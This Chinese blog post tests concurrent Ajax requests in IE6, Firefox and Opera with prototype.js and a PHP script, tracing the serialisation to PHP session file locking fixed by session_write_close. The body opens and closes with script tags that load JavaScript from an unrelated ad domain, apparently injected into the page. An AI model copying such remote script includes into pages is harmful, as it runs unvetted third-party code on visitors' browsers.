Ajax 并发

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

Update:最后已经有一些结论和解决办法,不过好象没完全解决,呵呵,先睡鸟。

一个非常有意思的测试,没有得出最后结果。

三个文件,一个客户端(其中包含 prototype.js 文件):

下载: client.html
  1. <script type="text/javascript" src="prototype.js"></script>
  2. <script type="text/javascript" src="func.js"></script>
  3.  
  4. <a href="javascript:ajax_get('A')">Click A</a>
  5. <hr />
  6. <a href="javascript:ajax_get('B')">Click B</a>
  7. <hr />
  8. <a href="javascript:ajax_get('C')">Click C</a>
  9. <hr />
  10. <div id="result">Result:<br /></div>

一个 JS:

下载: func.js
  1. var i = 0;
  2. function ajax_get(action){
  3.     i++;
  4.     var rand_num = Math.random();
  5.     var myajax=new Ajax.Request("server.php?action=" + action + "&order=" + i +"&rand=" + rand_num,{method:'get',onComplete:show_result});
  6.     $('result').innerHTML += get_date() + " , " + action + i + " : client post.<br />/n";
  7. }
  8. function show_result(response){
  9.     var r_text = response.responseText;
  10.     $('result').innerHTML += r_text;
  11. }
  12. function get_date(){
  13.     var date = new Date();
  14.     return date.getMinutes() + "m" + date.getSeconds();
  15. }

一个服务器端,PHP 文件:

下载: server.php
  1. <?php
  2. //session_start();
  3. $action = $_GET['action'];
  4. $order = $_GET['order'];
  5.  
  6. echo date("i/ms") . " , " . $action . $order . " : server is start.<br />/n";
  7. switch($action){
  8.     case 'A':
  9.         sleep(5);
  10.     break;
  11.     case 'B':
  12.         sleep(2);
  13.     break;
  14.     case 'C':
  15.     break;
  16. }
  17. echo date("i/ms") . " , " . $action . $order . " : server is end.<br />/n";

第一段代码是点 A,B,C 三个链接,分别发送不同的 action 的请求到服务器端。
第二段代码是接收到请求后,A 是等 5 秒后结束,B 是等 2 秒,C 是马上结束,用来模拟 PHP 执行代码的时间。
测试环境:IE6,FireFox,Opera,Windows XP,Apache 2,PHP 5.2.0

测试方法 1:
分别点 A,B,C,慢点点,等前一个回来后再点下一个:
结果:
IE6,FireFox 以及 Opera 结果都类似:
42m52 , A1 : client post.
42m52 , A1 : server is start.
42m57 , A1 : server is end.
42m57 , B1 : client post.
42m57 , B1 : server is start.
42m59 , B1 : server is end.
43m01 , C1 : client post.
43m01 , C1 : server is start.
43m01 , C1 : server is end.

结论:没啥惊讶的,点一个返回一个嘛。

测试方法 2:
分别点 A,C,快点点,不能前一个回来就点后面的,模拟并发:
结果和上面一样,恩,处理两个并发木问题。

测试方法 3:
分别点 A,B,C,快点点,不能前一个回来就点后面的,模拟并发:
结果:
IE6 和 Opera 结果类似:
51m30 , A1 : client post.
51m30 , B2 : client post.
51m30 , C3 : client post.
51m30 , C3 : server is start.
51m30 , C3 : server is end.
51m30 , B2 : server is start.
51m32 , B2 : server is end.
51m30 , A1 : server is start.
51m35 , A1 : server is end.

FireFox:
52m20 , A1 : client post.
52m20 , B2 : client post.
52m20 , C3 : client post.
52m20 , B2 : server is start.
52m22 , B2 : server is end.
52m22 , C3 : server is start.
52m22 , C3 : server is end.
52m20 , A1 : server is start.
52m25 , A1 : server is end.

结论:嘎嘎,有意思了吧,IE6 和 Opera 似乎不受影响,但 FireFox 的结果确是 C 要等 B 执行执行完毕后才开始(看时间,A 和 B 在服务器端都是 52m20 秒开始的,而 C 确是在 B 结束后的时间 5m22 开始执行的),这样可以排除服务器端 PHP 的影响,因为 IE,FireFox 以及 Opera 并没有改变服务器端什么,而返回的结果是不同的,所以 PHP 端顺序执行代码的结论应该是不成立的。

测试方法 4:
分别点 A,A,A,A,C 快点点,不能前一个回来就点后面的,模拟并发:
结果:
IE6:
56m06 , A1 : client post.
56m06 , A2 : client post.
56m06 , A3 : client post.
56m07 , A4 : client post.
56m07 , B5 : client post.
56m07 , B5 : server is start.
56m09 , B5 : server is end.
56m06 , A1 : server is start.
56m11 , A1 : server is end.
56m06 , A2 : server is start.
56m11 , A2 : server is end.
56m06 , A3 : server is start.
56m11 , A3 : server is end.
56m07 , A4 : server is start.
56m12 , A4 : server is end.

FireFox:
56m33 , A1 : client post.
56m33 , A2 : client post.
56m33 , A3 : client post.
56m34 , A4 : client post.
56m34 , B5 : client post.
56m33 , A1 : server is start.
56m38 , A1 : server is end.
56m33 , A2 : server is start.
56m38 , A2 : server is end.
56m38 , A3 : server is start.
56m43 , A3 : server is end.
56m38 , A4 : server is start.
56m43 , A4 : server is end.
56m43 , B5 : server is start.
56m45 , B5 : server is end.

Opera:
57m18 , A1 : client post.
57m19 , A2 : client post.
57m19 , A3 : client post.
57m19 , A4 : client post.
57m20 , B5 : client post.
57m18 , A1 : server is start.
57m23 , A1 : server is end.
57m19 , A2 : server is start.
57m24 , A2 : server is end.
57m19 , A3 : server is start.
57m24 , A3 : server is end.
57m19 , A4 : server is start.
57m24 , A4 : server is end.
57m23 , B5 : server is start.
57m25 , B5 : server is end.

结论:
从上面可以看出,IE6 似乎还是不受影响,而 FireFox 同时发送请求,但执行却是要两个两个执行, Opera 是四个四个执行。所以得到结论是 IE 可以同时发送无数个请求,FireFox 同时发送 2 个,Opera 是 4 个。
从网上查了一下,貌似是和浏览器的进程并发数有关。

更有趣的一个测试:
把上面的 PHP 文件的第 2 行的 session_start 的注释去掉,每次请求都打开一次 session,然后进行上面的测试。
测试方法 2:
IE6,FireFox 以及 Opera 结果类似:
15m03 , A1 : client post.
15m03 , C2 : client post.
15m08 , C2 : server is start.
15m08 , C2 : server is end.
15m03 , A1 : server is start.
15m08 , A1 : server is end.

结论:
貌似 session_start 也占了一个进程,A 和 C 同时发出去,但 C 要等 A 执行完后才开始执行。

测试方法 3:
分别点 A,B,C,快点点,不能前一个回来就点后面的,模拟并发:
IE6 和 FireFox 结果类似:
01m59 , A1 : client post.
01m59 , B2 : client post.
01m59 , C3 : client post.
01m59 , A1 : server is start.
02m04 , A1 : server is end.
02m04 , B2 : server is start.
02m06 , B2 : server is end.
02m06 , C3 : server is start.
02m06 , C3 : server is end.

Opera:
05m07 , A1 : client post.
05m08 , B2 : client post.
05m08 , C3 : client post.
05m07 , A1 : server is start.
05m12 , A1 : server is end.
05m14 , C3 : server is start.
05m14 , C3 : server is end.
05m12 , B2 : server is start.
05m14 , B2 : server is end.

结论:
从上面感觉 session 也占了浏览器的一个进程。从网上找了一下,说是 session 是发送一个 session ID 放到客户端,但我感觉既然是这么发送,应该不可能老占着一个进程啊。

测试

最终结论:
比较混乱,郁闷。反正 Ajax 别滥用,一些比较新的东西,在不能深入了解它的原理之前还是慎重点,嘿嘿。

PS:上面 Opera 测试时还老乱,有时候出这种情况,有时候出另外一种情况,崩溃。
有知道怎么回事的麻烦告诉一下哈,这个问题差点搞死我了。

—————–
23:48 Update
讨论了一些时间,最后由 星星 大婶发现是不是 session 锁文件的原因,session_start 后就把 session 文件锁死了,别的请求由于是同一个 session_id 所以读同一个文件,就也卡死在那了,只能等前一个执行完毕后下一个才继续执行。
解决方法:用完 session 就马上关闭。用 session_write_close 函数。
以前根本没注意过这个,呵呵。
在 PHP 手册里的 session_start 那页,下面有评论:

bkatz at usefulengineering dot com
17-Jul-2005 11:08
Because session_start() does indeed prevent another page using session_start() from running until the first one is done, i use session_write_close() before doing any operation that takes significant time. For instance, session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). When files are large, my site was not able to upload more than one file at a time to a user. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like.

2007-01-08 11:57 Update
貌似 session_write_close 很占 CPU 阿。

  1. <?php
  2. for($i = 0 ; $i < 100000 ; $i++){
  3.     session_start();
  4.     session_write_close() // close session, release the lock
  5. }
  6. echo 'end';

上面这个程序,执行后 CPU 马上占到 100%,而且脚本执行时间比较长,去掉 session_write_close 再执行就没问题了。
郁闷了~
原因应该是用 session_write_close 关闭 session 文件后,session_start 又打开,I/O 过多,相当于:

  1. <?php
  2. for($i = 0 ; $i < 100000 ; $i++){
  3.     $fp = fopen('test.txt');
  4.     fclose($fp) // close file
  5. }
  6. echo 'end';

2007-01-08 12:15 Update
刚才想去 php.net 报告 session_write_close 那页发个评论,结果:

Your IP is listed in one of the spammers lists we use, which aren’t controlled by us. More information is available at http://www.dnsstuff.com/tools/ip4r.ch?ip=221.219.112.66. If the problem persists, please contact the webmaster.

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值